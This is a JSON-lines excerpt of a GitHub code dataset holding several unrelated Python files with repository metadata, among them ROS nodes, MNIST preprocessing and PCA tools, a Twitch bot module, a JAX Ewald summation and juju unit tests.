args.kernel_name,\n        args.kernel_display_name,\n        args.coqtop_executable,\n        args.coqtop_args\n    )\n\nif __name__ == '__main__':\n    main()\n","repo_name":"EugeneLoy/coq_jupyter","sub_path":"coq_jupyter/install.py","file_name":"install.py","file_ext":"py","file_size_in_byte":2822,"program_lang":"python","lang":"en","doc_type":"code","stars":87,"dataset":"github-code","pt":"57"}
+{"seq_id":"7930850353","text":"import os\nimport cv2\nfrom sklearn.model_selection import train_test_split\nimport numpy as np\n\n'''\n  This is the helper function to encode the classes name to an unique id number\n'''\ndef map_label_to_id(label): \n  return classname_id[label]\n\n'''\n  This is the helper function to decode the id number to its label in string\n'''\ndef map_id_to_label(num):\n    for label, label_id in classname_id.items():\n        if label_id == num:\n            return label\n  \nclassname_id = {'xyzal_tab_5mg': 0, \n                'arthrotec_50mg_tablets': 1, \n                'sanctura_xr': 2, \n                'mycobutin_cap_150mg': 3, \n                'parnate': 4, \n                'lasix_20mg_tablets': 5, \n                'pantoprazole': 6, \n                'uroxatral_10_mg': 7, \n                'lasix_40mg_tablets': 8, \n                'soma_250_mg_tab': 9, \n                'amaryl_4mg_tablets': 10, \n                'promacta_tablets': 11, \n                'arthrotec_75mg_tablets': 12, \n                'multaq_tab_400mg': 13, \n                'cleocin_75mg_caps': 14, \n                'xanax_0.5_mg_tab': 15, \n                'requip_xl': 16, \n                'coreg': 17, \n                'avandia': 18, \n                'daypro_600mg': 19, \n                'requip': 20}\n        \n'''\n  This is the fuction that takes testing_size (between 0 - 1), specifying the portion of all images used for testing, the rest of the images will be used for training; \n  For example, 0.5 means under each class, 50% of image will be used for testing and 50% of image will be used for traning. \n  image_width and image_height, specifying the image size. \n  The function returns a numpy array of training image (shape with default arguments: (number of training image, 512, 512, 3))\n  a numpy array of testing image (shape with default arguments: (number of testing image, 512, 512, 3)), \n  a numpy array of labels corresponding to the training image (shape with default arguments: (number of training image, )), \n  and a numpy array of labels corresponding to the testing image (shape with default arguments: (number of testing image, ))\n  \n  To use the function in other file:\n    1. import: import preprocessing\n    2. call the function: preprocessing.generate_data()\n'''\n\ndef generate_data(testing_size=0.5, image_width=512, image_height=512, path=None):\n  if path == None:\n    parent_dir = os.getcwd() \n    path = parent_dir + '/data/images'\n\n  testing_img = []\n  training_img = []\n  testing_label = []\n  training_label = []\n\n  # iterate over folders in the images directory\n  dirs = [x[0] for x in os.walk(path)]\n\n  for d in dirs:\n    if d[-6:] != \"images\":\n      label = d.split('/')[-1]\n      image_name = os.listdir(d)\n      # spliting images into train and test randomly\n      training_sample, testing_sample = train_test_split(image_name, test_size=testing_size)\n      for s in training_sample:\n        if s[-1] == 'g':\n          image_path = d + '/' + s\n          image = cv2.imread(image_path)\n          image = cv2.resize(image, (image_width, image_height))\n          image = np.array(image, np.float64)\n          training_img.append(image)\n          training_label.append(map_label_to_id(label))\n        \n      for s in testing_sample:\n        if s[-1] == 'g':\n          image_path = d + '/' + s\n          image = cv2.imread(image_path)\n          image = cv2.resize(image, (image_width, image_height))\n          image = np.array(image, np.float64)\n          testing_img.append(image)\n          testing_label.append(map_label_to_id(label))\n          \n  training_img = np.array(training_img)\n  testing_img = np.array(testing_img)\n  training_label = np.array(training_label)\n  testing_label = np.array(testing_label)\n\n  print(training_img.shape, testing_img.shape, training_label.shape, testing_label.shape)\n  return training_img, testing_img, training_label, testing_label\n\n# generate_data();","repo_name":"kelsier-wang/cv-project","sub_path":"code/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":3881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"27083865550","text":"#!/usr/bin/env python\n\nimport rospy\nimport yaml\nimport math\nimport numpy\nfrom riptide_msgs.msg import ThrustStamped, Thrust\nfrom uuv_gazebo_ros_plugins_msgs.msg import FloatStamped\n\nclass ThrustConverter(object):\n\n    def __init__(self):\n        self._vehicle_config_file = rospy.get_param(\"~vehicle_config\")\n        self._pubs = {}\n        \n        with open(self._vehicle_config_file, 'r') as stream:\n            self._coeff = yaml.safe_load(stream)['thruster']['rotor_constant']\n\n        self._thrusters = [\n            \"vector_port_fwd\",\n            \"vector_stbd_fwd\",\n            \"vector_port_aft\",\n            \"vector_stbd_aft\",\n            \"heave_port_fwd\",\n            \"heave_stbd_fwd\",\n            \"heave_port_aft\",\n            \"heave_stbd_aft\"]\n\n        for i in range(len(self._thrusters)):\n            input_topic = \"thrusters/%d/input\" % i\n            pub = rospy.Publisher(input_topic, FloatStamped, queue_size=1)\n            self._pubs[i] = pub\n        self._sub = rospy.Subscriber(\"command/thrust\", ThrustStamped, self.command_cb)\n        \n\n    def command_cb(self, msg):\n        \"\"\"Convert thrust to angular velocity commands for uuv_thruster_ros_plugin\"\"\"\n        for i in range(len(self._thrusters)):\n            cmd = FloatStamped()\n            force = eval(\"msg.force.\"+self._thrusters[i])\n\n            # Compute angular velocity from force\n            sign = 1 if force >= 0 else -1\n            ang_vel = sign * math.sqrt(abs(force / self._coeff))\n            cmd.header = msg.header\n            cmd.data = ang_vel\n            self._pubs[i].publish(cmd)\n\nif __name__ == \"__main__\":\n    rospy.init_node('thrust_converter')\n    tc = ThrustConverter()\n    rospy.spin()","repo_name":"osu-uwrt/riptide_gazebo","sub_path":"scripts/thrust_remap.py","file_name":"thrust_remap.py","file_ext":"py","file_size_in_byte":1687,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"57"}
+{"seq_id":"14894805740","text":"from os import scandir\nfrom subprocess import getoutput\nimport time\nimport sys\n\ndef main():\n    \n    targets_directory = '../target'\n\n    target_file_name = sys.argv[1]\n    target_name = remove_file_extension(target_file_name)\n\n    output_file = open(f'./locateLangResults-{target_name}.csv', 'w')\n\n    output_file.write('Target,Accuracy,K,Window_Size,Window_Overlap,Optimization_Level,Finite_Context,Time\\n')\n            \n    for k in [3, 5, 8, 10, 12]:\n\n        for optimization_level in [0, 1, 2, 3]:\n\n            for window_size in [3, 5, 8, 10, 12, 15]:\n\n                for window_overlap in [0, 0.2, 0.4, 0.6, 0.8]:\n\n                    for use_finite_context in [True, False]:\n                        \n                        start_time = time.time()\n\n                        print(f'Testing {target_file_name}: K {k}, Optimization {optimization_level}, Window Size {window_size}, Window Overlap {window_overlap}, Finite Context {use_finite_context}')                              \n\n                        if use_finite_context:\n                            output = getoutput(f'python3 ../src/locatelang.py -e ../bin/lang -r ../references/europarl20/ -t ../target/{target_file_name} -k {k} -w {window_size} -o {window_overlap} -O {optimization_level}')                                \n                        else:\n                            output = getoutput(f'python3 ../src/locatelang.py -e ../bin/lang -r ../references/europarl20/ -t ../target/{target_file_name} -k {k} -w {window_size} -o {window_overlap} -O {optimization_level} -nFC')\n\n                        elapsed_time = round(time.time() - start_time, 3)\n\n                        # Write to output file\n                        for line in output.splitlines():\n                            \n                            if line.startswith('Accuracy'):\n                                accuracy = float(line.split(':')[1].strip('%'))\n\n                        output_file.write(f'{target_file_name},{accuracy},{k},{window_size},{window_overlap},{optimization_level},{use_finite_context},{elapsed_time}\\n')\n                        output_file.flush()\n\n                        print(f'Finished in {elapsed_time}. Accuracy: {accuracy}')\n            \n            \n \n    output_file.close()\n\n\ndef remove_file_extension(file_name: str) -> str:\n    return file_name.split('.')[0]\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"Hugo1307/Language-Detection-CPM","sub_path":"results/locateLangResultsMiner.py","file_name":"locateLangResultsMiner.py","file_ext":"py","file_size_in_byte":2380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"4179984422","text":"from turtle import Turtle\nALIGN = \"center\"\nFONT = (\"calibri\", 16, \"bold\")\nGAME_OVER_FONT = (\"calibri\", 60, \"bold\")\nHIGH_SCORE_LOCATION = \"high_score.txt\"\n\nclass Scoreboard(Turtle):\n    \"\"\"Scoreboard for the Snake Game to keep track of players score\"\"\"\n    \n    def __init__(self):\n        \"\"\"Initializes the Scoreboard for the game\"\"\"\n        \n        super().__init__()\n        self.hideturtle()\n        self.penup()\n        self.pencolor(\"white\")\n        self.speed(\"fastest\")\n        self.goto(0, 270)\n        self.score_total = -1\n        with open(HIGH_SCORE_LOCATION) as file:\n            self.high_score = int(file.read())\n        self.update_score()\n    \n    \n    def update_score(self):\n        \"\"\"Moves the food to a new location and increases the current score\"\"\"\n        \n        self.score_total += 1\n        self.clear()\n        self.write(f\"Score: {self.score_total}  High Score: {self.high_score}\", align=ALIGN, font=FONT)\n        \n        \n    def reset_game(self):\n        \"\"\"Game is over, player hit wall or self, update high score and reset\"\"\"\n        \n        if self.score_total > self.high_score:\n            self.high_score = self.score_total\n            with open(HIGH_SCORE_LOCATION, mode=\"w\") as file:\n                file.write(str(self.high_score))\n        self.score_total = -1\n        self.update_score()\n        # self.goto(0, 0)\n        # self.write(f\"GAME OVER\", align=ALIGN, font=GAME_OVER_FONT)","repo_name":"vkice/python-100-days-of-code-projects","sub_path":"Intermediate/Day20_21_24_SnakeGame/scoreboard.py","file_name":"scoreboard.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"34012902050","text":"\nimport rclpy #ros2 library for python\nfrom rclpy.node import Node\nfrom datetime import datetime\nfrom std_msgs.msg import String\n\n\nclass SmartPhone(Node):\n\n    def __init__(self):\n       super().__init__(\"positions_listener\")#name of the node\n       \n       self.sunscriber_=self.create_subscription(String, \"/robotPositions\", self.callback_robot_news, 10)#robot_news is the name of the topic; 10 is buffer, max numner of msg that will be kept if they not delivered in time\n       \n       self.get_logger().info(\"Position_listener node has been created\")#+ str(self.counter_)\n       \n    def callback_robot_news(self,msg):\n       dt_string = String();\n       dt_string = datetime.now().strftime(\"%d/%m/%Y-%H:%M:%S.%f\")\n       self.get_logger().info(msg.data+ str(dt_string))   \n    \n       \n       \n    \ndef main(args=None):\n    rclpy.init(args=args) #needs to be in every ros2 file. Initialize ros2 communication\n    node=SmartPhone()\n    rclpy.spin(node)\n    rclpy.shutdown()#turn off ros2 communication\n    \nif __name__==\"__main__\":\n     main()\n","repo_name":"DEIS-group-3/DEIS-project","sub_path":"Tollgate4/path_planner/path_planner/smartphone.py","file_name":"smartphone.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"18885915697","text":"from re import A\r\nimport time\r\nfrom colors import *\r\ndef selection_sort(nums, drawData, timee):\r\n    for idx in range(len(nums)):\r\n        min_idx = idx\r\n        for j in range( idx +1, len(nums)):\r\n            if nums[min_idx] > nums[j]:\r\n                min_idx = j\r\n        a, b = nums[idx], nums[min_idx]\r\n        a, b = b, a\r\n        drawData(nums, [DARK_YELLOW if x == min_idx or x == idx else DARK_GREEN for x in range(len(nums))] )\r\n        time.sleep(timee)\r\n    drawData(nums, [DARK_GREEN for x in range(len(nums))])\r\n\r\n","repo_name":"SusanketSarkar/Sorting_Visualization","sub_path":"Algorithms/selectionSort.py","file_name":"selectionSort.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"28599212556","text":"from __future__ import annotations\n\nfrom typing import TYPE_CHECKING, Optional\n\nimport logging\n\nfrom pajbot.managers.handler import HandlerManager\nfrom pajbot.modules import BaseModule, ModuleSetting\nfrom pajbot.modules.chat_alerts import ChatAlertModule\n\nif TYPE_CHECKING:\n    from pajbot.bot import Bot\n\nlog = logging.getLogger(__name__)\n\n\nclass LiveAlertModule(BaseModule):\n    ID = __name__.split(\".\")[-1]\n    NAME = \"Live Alert\"\n    DESCRIPTION = \"Prints a message in chat when the streamer goes live\"\n    CATEGORY = \"Feature\"\n    PARENT_MODULE = ChatAlertModule\n    SETTINGS = [\n        ModuleSetting(\n            key=\"message_type\",\n            label=\"Method to use when sending live messages\",\n            type=\"options\",\n            required=True,\n            default=\"announce\",\n            options=[\"announce\", \"say\", \"me\"],\n        ),\n        ModuleSetting(\n            key=\"live_message\",\n            label=\"Message to post when streamer goes live | Available arguments: {streamer}, {game}, {title}\",\n            type=\"text\",\n            required=True,\n            placeholder=\"{streamer} is now live! PogChamp Streaming {game}: {title}\",\n            default=\"{streamer} is now live! PogChamp Streaming {game}: {title}\",\n            constraints={\"max_str_len\": 400},\n        ),\n        ModuleSetting(\n            key=\"extra_message\",\n            label=\"Extra message to post after the initial live message is posted. Leave empty to disable | Available arguments: {streamer}\",\n            type=\"text\",\n            required=False,\n            placeholder=\"@{streamer} TWEET THAT YOU'RE LIVE OMGScoots\",\n            default=\"\",\n            constraints={\"max_str_len\": 400},\n        ),\n    ]\n\n    def __init__(self, bot: Optional[Bot]) -> None:\n        super().__init__(bot)\n\n    def on_stream_start(self) -> bool:\n        assert self.bot is not None\n\n        arguments = {\n            \"streamer\": self.bot.streamer_display,\n            \"game\": self.bot.stream_manager.game,\n            \"title\": self.bot.stream_manager.title,\n        }\n\n        self.bot.send_message(self.get_phrase(\"live_message\", **arguments), method=self.settings[\"message_type\"])\n\n        if self.settings[\"extra_message\"] != \"\":\n            self.bot.send_message(self.get_phrase(\"extra_message\", **arguments), method=self.settings[\"message_type\"])\n\n        return True\n\n    def enable(self, bot: Optional[Bot]) -> None:\n        if bot is not None:\n            HandlerManager.add_handler(\"on_stream_start\", self.on_stream_start)\n\n    def disable(self, bot: Optional[Bot]) -> None:\n        if bot is not None:\n            HandlerManager.remove_handler(\"on_stream_start\", self.on_stream_start)\n","repo_name":"pajbot/pajbot","sub_path":"pajbot/modules/chat_alerts/livealert.py","file_name":"livealert.py","file_ext":"py","file_size_in_byte":2673,"program_lang":"python","lang":"en","doc_type":"code","stars":278,"dataset":"github-code","pt":"57"}
+{"seq_id":"35537343945","text":"# coding: utf-8\n\nfrom __future__ import division, print_function, unicode_literals, \\\n    absolute_import\n\nimport os\nimport shutil\nimport subprocess\n\nfrom custodian.custodian import Job, gzip_dir\n\n__author__ = 'xiaohuiqu'\n\n\nclass MopacJob(Job):\n    \"\"\"\n    A basic MOPAC job.\n    \"\"\"\n\n    def __init__(self, mopac_cmd=\"mopac\", input_file=\"mol.mop\", gzipped=False,\n                 backup=True):\n        self.mopac_cmd = mopac_cmd\n        self.input_file = input_file\n        basename = os.path.splitext(self.input_file)[0]\n        self.output_file = basename + \".out\"\n        self.arc_file = basename + \".arc\"\n        self.gzipped = gzipped\n        self.backup = backup\n\n    def setup(self):\n        if self.backup:\n            i = 0\n            while os.path.exists(\"{}.{}.orig\".format(self.input_file, i)):\n                i += 1\n            shutil.copy(self.input_file,\n                        \"{}.{}.orig\".format(self.input_file, i))\n            if os.path.exists(self.output_file):\n                shutil.copy(self.output_file,\n                            \"{}.{}.orig\".format(self.output_file, i))\n            if os.path.exists(self.arc_file):\n                shutil.copy(self.arc_file,\n                            \"{}.{}.orig\".format(self.arc_file, i))\n\n    def run(self):\n        cmd = [self.mopac_cmd, self.input_file]\n        returncode = subprocess.call(cmd)\n        return returncode\n\n    def postprocess(self):\n        if self.gzipped:\n            gzip_dir(\".\")\n","repo_name":"materialsproject/rubicon","sub_path":"rubicon/custodian/mopac/jobs.py","file_name":"jobs.py","file_ext":"py","file_size_in_byte":1474,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"57"}
+{"seq_id":"3886946514","text":"import re\ndef solution(s):\n    answer = []\n    d_list = s.split('}')\n    set_list = []\n    # making set_list\n    for string in d_list:\n        string = re.sub(\"\\{+\", \"\", string)\n        string = re.sub(\"^[\\,]\", \"\", string)\n        if string:\n            set_list.append(string)\n    # sort set_list by len\n    set_list = sorted(set_list, key=lambda x: len(x))\n\n    for a in set_list:\n        # 숫자로 만들기\n        tmp = a.split(\",\")\n        for digit in tmp:\n            if int(digit) not in answer:\n                answer.append(int(digit))\n    return answer\nsolution(\"{{2},{2,1},{2,1,3},{2,1,3,4}}\")","repo_name":"cpark7/algorithm","sub_path":"tuple/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"19528478752","text":"class Solution(object):\n    def titleToNumber(self, columnTitle):\n        \"\"\"\n        :type columnTitle: str\n        :rtype: int\n        \"\"\"\n        res = 0\n        for s in columnTitle:\n            res *= 26\n            res+=(ord(s) - ord('A')+1)\n        return res\n\nif __name__ == '__main__':\n    s = Solution()\n    columnTitle = 'AB'\n    print(s.titleToNumber(columnTitle))","repo_name":"ICCV/coding","sub_path":"others/q171.py","file_name":"q171.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"21157736505","text":"import jax\nimport jax.numpy as jnp\nimport numpy as np\n\nfrom functools import partial\n\n\n@partial(jax.jit, static_argnums=(1,))\ndef smallest_vecs(basis, n):\n    dim = basis.shape[-1]\n    r = np.arange(-n, (n + 1))  # produces O(n*n*n) numbers\n\n    vecs = jnp.array(np.meshgrid(*(dim * (r,)))).T.reshape(-1, dim)\n    return vecs\n\n\ndef ewald_coulomb(x, L, alpha, sdim=3, kmax=20, cutoff=None):\n    \"\"\"Ewald summation for cubic lattices.\"\"\"\n\n    if sdim != 3:\n        raise ValueError(\"Ewald summation only implemented for 3 spatial dimensions.\")\n\n    if cutoff is None:\n        cutoff = 2.0 * L\n\n    N = x.shape[0] // sdim\n    x = x.reshape(-1, N, sdim)\n\n    dists = x[..., :, None, :] - x[..., None, :, :]\n    V = L**sdim\n\n    def real_sum(dists):\n        \"\"\"Real space part of Ewald summation\"\"\"\n\n        # vec(R)=0\n        mask = 1 - jnp.eye(N)\n        d = jnp.linalg.norm(dists, axis=-1)\n        res1 = jnp.where(\n            mask[jnp.newaxis, :], jax.scipy.special.erfc(alpha * d) / d, 0\n        ).reshape(-1)\n\n        # vec(R)=L * vec(n)\n        Rn = smallest_vecs(jnp.eye(sdim), 2) * L\n        temp = jnp.linalg.norm(Rn, axis=-1)\n        Rn = jnp.where(temp[:, None] <= cutoff, Rn, 0)  # exlude too far away neighbours\n        temp = jnp.linalg.norm(Rn, axis=-1)\n        d = jnp.linalg.norm(dists[..., None, :] + Rn, axis=-1)\n\n        res2 = jnp.where(temp == 0, 0, jax.scipy.special.erfc(alpha * d) / d).reshape(\n            -1\n        )  # Rn=0 is special\n\n        res = jnp.sum(res1) + jnp.sum(res2)\n        return res\n\n    def recip_sum(x):\n        \"\"\"Reciprocal space part of Ewald summation\"\"\"\n\n        # vec(k)=1/L * vec(n)\n        Gm = smallest_vecs(jnp.eye(sdim), kmax) / L\n        # |vec(k)|>kmax\n        G = jnp.linalg.norm(Gm, axis=-1, keepdims=True)\n        Gm = jnp.where(G <= kmax / L, Gm, 0)\n        G = jnp.linalg.norm(Gm, axis=-1)\n        G2 = (G**2).reshape(-1)\n\n        t1 = jnp.where(G2 == 0, 0, jnp.exp(-G2 * jnp.pi**2 / (alpha**2)) / G2)\n        # structure factor\n        S = jnp.sum(\n            jnp.where(\n                G2 == 0,\n                0,\n                jnp.exp(1j * 2 * jnp.pi * jnp.einsum(\"...ij,kj->...ik\", x, Gm)),\n            ),\n            axis=-2,\n        ).reshape(-1)\n\n        t2 = jnp.abs(S) ** 2\n\n        res = 1 / (V * jnp.pi) * jnp.sum(t1 * t2)\n        return res\n\n    def self_energy():\n        return -N * alpha / jnp.sqrt(jnp.pi)\n\n    def constant():\n        V = L**sdim\n        return -(N**2) * jnp.pi / (2 * alpha**2 * V)\n\n    ereal = real_sum(dists)\n    erec = recip_sum(x)\n    eself = self_energy()\n    const = constant()\n\n    return 0.5 * ereal + 0.5 * erec + eself + const\n","repo_name":"cqsl/mp-nqs","sub_path":"src/_potentials.py","file_name":"_potentials.py","file_ext":"py","file_size_in_byte":2636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"4670992809","text":"\r\nimport os, pickle, gzip\r\nimport numpy as np\r\nimport tkinter as tk\r\nfrom tkinter import ttk\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\nf = gzip.open(r'C:\\Users\\i_hat\\Desktop\\losable\\mnist.pkl.gz', 'rb')\r\n_tr, _va, _te = pickle.load(f, encoding = \"latin1\")\r\nf.close()\r\ntr_x = [np.reshape(x, (784, 1)) for x in _tr[0]] # reshape x's\r\nva_x = [np.reshape(x, (784, 1)) for x in _va[0]]\r\nte_x = [np.reshape(x, (784, 1)) for x in _te[0]]\r\nva_data = list(zip(va_x, _va[1])) # list of tuples of (x,y)\r\nte_data = list(zip(te_x, _te[1]))\r\nx_orig = np.array(tr_x).squeeze() * 255.0\r\nx_orig.shape\r\n\r\nsiz                 = 28     # picture length and width\r\nSAVE_DIR            = r'C:\\Users\\pwnag\\Desktop\\sup\\deep_larn\\anime_PCA'\r\nIMG_DIR             = r'C:\\Users\\pwnag\\Desktop\\sup\\deep_larn\\anime_face_400\\images'\r\n\r\n\r\ndef plot_some_pics(_data):\r\n    n                   = 5\r\n    pic                 = np.zeros((siz * n, siz * n))\r\n    for i in range(n):\r\n        for j in range(n):\r\n            pic[i * siz : (i + 1) * siz, j * siz : (j + 1) * siz] = _data[j + n * i,:].reshape(siz, siz)\r\n    _                   = plt.figure(figsize=(8, 8))\r\n    _                   = plt.imshow(pic) # fchollet uses jet. rainbow, gist_rainbow, hsv, \r\n    _                   = plt.axis('off')\r\n    plt.show()\r\n\r\n\r\ndef eig(S):\r\n    va, vc          = np.linalg.eigh(S)  \r\n    _sorted         = np.argsort(-va) # sorting them in decrasing order\r\n    va              = va[_sorted]\r\n    vc              = vc[:, _sorted]\r\n    return (va, vc)\r\n\r\n\r\n#if False: # this part generates mu,std,vecs for the entire data set which can take 10 mins\r\nplot_some_pics(x_orig)\r\n\r\n\r\n# standardize & do eigen\r\nmu                  = np.mean(x_orig, axis = 0, keepdims = True)\r\n_x                  = x_orig - mu                          # subtract mean (center data at 0)\r\n_std                = np.std(_x, axis = 0, keepdims = True)# calculate variance of features\r\nstd                 = _std.copy()                          # fix zero variances\r\nstd[std == 0.0]     = 1.0\r\nx                   = _x / std                             # scale the data\r\nmy_cov              = (x.T @ x) / (x.shape[1] - 1)         # https://datascienceplus.com/understanding-the-covariance-matrix/\r\nvals, vecs          = eig(my_cov)                          # eigenvecs of cov matrix \r\n\r\n\r\n\r\n# do pca\r\ncomponents          = 200\r\nU                   = vecs[:, range(components)]       # take a subset\r\n\r\n\r\ndef unstand(x, add_mean = True):\r\n    if add_mean:\r\n        return x * std + mu\r\n    return x * std\r\n\r\n\r\ndef to_uint8(x): # prepare picture for display. i min-max scaled it. not sure if this is good but it gives cool visuals. \r\n    #x = x - np.min(x)\r\n    #return 255.0 * x / np.max(x) \r\n    x = np.clip(x,0,255)\r\n    return x.astype(np.uint8)\r\n\r\n\r\n\r\nclass Soy():\r\n    def _reset(self):\r\n        [self.vals[i].set(0.0) for i in range(len(self.vals))]\r\n        self.refresh(0)\r\n\r\n    def _change_mean_option(self):\r\n        self.add_mean = not self.add_mean\r\n        self.refresh(0)\r\n\r\n    def reconstruct(self):\r\n        self.proj = np.array([[i.get() for i in self.vals]])\r\n        self.x = to_uint8(unstand(self.proj @ U.T, self.add_mean))\r\n\r\n    def refresh(self, e):\r\n        self.reconstruct()\r\n        self.xdata                              = b'P5 28 28 255 ' + self.x.tobytes()\r\n        self.photo                              = tk.PhotoImage(width=siz, height=siz, data=self.xdata, format = 'PPM').zoom(16)\r\n        #self.p = self.x.reshape([siz,siz])\r\n        #self.photo = ImageTk.PhotoImage(image = Image.fromarray(self.p)) # https://stackoverflow.com/questions/58411250/photoimage-zoom\r\n        #self.photo = self.photo._PhotoImage__photo.zoom(8)\r\n        self.canvas_area.create_image(0,0,image =self.photo,anchor=tk.NW)\r\n        self.canvas_area.update()\r\n\r\n    def start(self):\r\n        self.add_mean                               = True\r\n        root                                        = tk.Tk()\r\n        menu_left                                   = tk.Canvas(root, width=150, height = 400, bg = 'black')\r\n        menu_left.grid(row                          = 0, column=0, sticky = 'nsew')\r\n        sf                                          = ttk.Frame(menu_left)\r\n        sf.bind(\"<Configure>\",   lambda e: menu_left.configure(scrollregion = menu_left.bbox(\"all\")))\r\n        root.bind('<Up>'     ,   lambda x: menu_left.yview_scroll(-10, \"units\"))\r\n        root.bind('<Down>'   ,   lambda x: menu_left.yview_scroll(10, \"units\")) \r\n        root.bind(\"<Escape>\" ,   lambda x: root.destroy())\r\n        root.bind('r',           lambda x: self._reset())\r\n        root.bind('a',           lambda x: self._change_mean_option())\r\n        menu_left.create_window((0, 0), window      =sf, anchor=\"nw\")\r\n\r\n        self.vals                                   = [tk.DoubleVar() for i in range(components)]\r\n        labs                                        = [ttk.Label(sf, text=f\"{i}\") for i in range(components)]\r\n        slds                                        = [None for i in range(components)]\r\n        for i in range(components):\r\n            slds[i]                                 = ttk.Scale(sf, from_ = -50, to = 50, orient = 'horizontal', variable = self.vals[i], command = self.refresh)\r\n            slds[i].grid(column                     = 1, row = i, columnspan = 1, sticky = 'nsew')\r\n            labs[i].grid(column                     = 0, row = i, columnspan = 1, sticky = 'nsew')\r\n\r\n        self.canvas_area                            = tk.Canvas(root, width=540, height=540, bg = 'black')\r\n        self.canvas_area.grid(row                   =0, column=1, sticky = 'nsew') \r\n        root.grid_rowconfigure(1, weight            =1)\r\n        root.grid_columnconfigure(1, weight         =1)\r\n        self.refresh(0)\r\n        root.mainloop()\r\n\r\nsoy                                                 = Soy()\r\nsoy.start()","repo_name":"ConsciousMachines/notes_","sub_path":"my_ML/PCA/__PCA_5_MNIST.py","file_name":"__PCA_5_MNIST.py","file_ext":"py","file_size_in_byte":5881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"18367232653","text":"import time\ntry:\n    from xml.etree import cElementTree as etree\nexcept ImportError:\n    from xml.etree import ElementTree as etree\n\nfrom textwrap import dedent\n\n\nclass Importer(object):\n\n    def __init__(self, db):\n        self.db = db\n\n    def process(self, filepath):\n        try:\n            self.db.insertmany(self.get_snippets(filepath))\n        except Exception:\n            raise\n        else:\n            self.db.save()\n\n    def get_snippets(self, filepath):\n        now = int(time.time())\n        for event, el in etree.iterparse(filepath):\n            if el.tag != 'snippet':\n                continue\n            row = {\n                'title': el.findtext('title').strip(),\n                'tag': el.findtext('tag').strip(),\n                'cmd': dedent(el.findtext('command')),\n                'doc': dedent(el.findtext('doc').strip()),\n                'created_at': el.attrib.get('created-at', now),\n                'last_used_at': el.attrib.get('last-used-at', now),\n                'usage_count': el.attrib.get('usage-count', 0)\n            }\n            yield row\n","repo_name":"sjas/.ansible","sub_path":"roles/0x03_terminals/files/clisnips/importers/clisnips.py","file_name":"clisnips.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"57"}
+{"seq_id":"26811080780","text":"import unittest\n\nfrom juju.client import client\n\n\nclass TestDefinitions(unittest.TestCase):\n\n    def test_dict_legacy(self):\n        status = client.FullStatus.from_json({\n            'relations': [{\n                'endpoints': [{\n                    'application': 'application',\n                    'name': 'name',\n                    'role': 'role',\n                    'subordinate': True\n                }],\n                'id': 1,\n                'interface': 'interface',\n                'key': 'key',\n                'scope': 'scope',\n                'status': []\n            }]\n        })\n        if status.relations != status['relations']:\n            raise Exception('subscript not equal to attr')\n        if status.relations != status.get('relations'):\n            raise Exception('get() not equal to attr')\n        if status.get('non-existing', 'foo') != 'foo':\n            raise Exception('get defaulting missing attr')\n\n    def test_parse(self):\n        status = client.FullStatus.from_json({\n            'relations': [{\n                'endpoints': [{\n                    'application': 'application',\n                    'name': 'name',\n                    'role': 'role',\n                    'subordinate': True\n                }],\n                'id': 1,\n                'interface': 'interface',\n                'key': 'key',\n                'scope': 'scope',\n                'status': []\n            }],\n            'applications': {\n                'app': {\n                    'can-upgrade-to': 'something',\n                    'charm': 'charm',\n                    'charm-profile': 'profile',\n                    'charm-version': '2',\n                    'endpoint-bindings': None,\n                    'err': None,\n                    'exposed': True,\n                    'int': 0,\n                    'life': 'life',\n                    'meter-statuses': {},\n                    'provider-id': 'provider-id',\n                    'public-address': '1.1.1.1',\n                    'relations': {\n                        'a': ['b', 'c'],\n                    },\n                    'series': 'focal',\n                    'status': {},\n                    'subordinate-to': ['other'],\n                    'units': {\n                        'unit-id': {\n                            'address': '1.1.1.1',\n                            'agent-status': {},\n                            'charm': 'charm',\n                            'leader': True,\n                            'machine': 'machine-0',\n                            'opened-ports': ['1234'],\n                            'provider-id': 'provider',\n                            'public-address': '1.1.1.2',\n                            'subordinates': {},\n                            'workload-status': {},\n                            'workload-version': '1.2'\n                        }\n                    },\n                    'workload-version': '1.2'\n                }\n            }\n        })\n        if status.relations != status['relations']:\n            raise Exception('subscript not equal to attr')\n        if status['relations'][0]['endpoints'][0]['application'] != 'application':\n            raise Exception('failed to use complex subscript')\n        if status.applications['app'].relations['a'][0] != 'b':\n            raise Exception('object with array type is invalid')\n        if not isinstance(status.relations[0], client.RelationStatus):\n            raise Exception('status relation is not a RelationStatus')\n        if not isinstance(status.relations[0].endpoints[0], client.EndpointStatus):\n            raise Exception('status relation endpoint is not a EndpointStatus')\n        if not isinstance(status.applications['app'], client.ApplicationStatus):\n            raise Exception('status application is not a ApplicationStatus')\n","repo_name":"juju/python-libjuju","sub_path":"tests/unit/test_definitions.py","file_name":"test_definitions.py","file_ext":"py","file_size_in_byte":3822,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"57"}
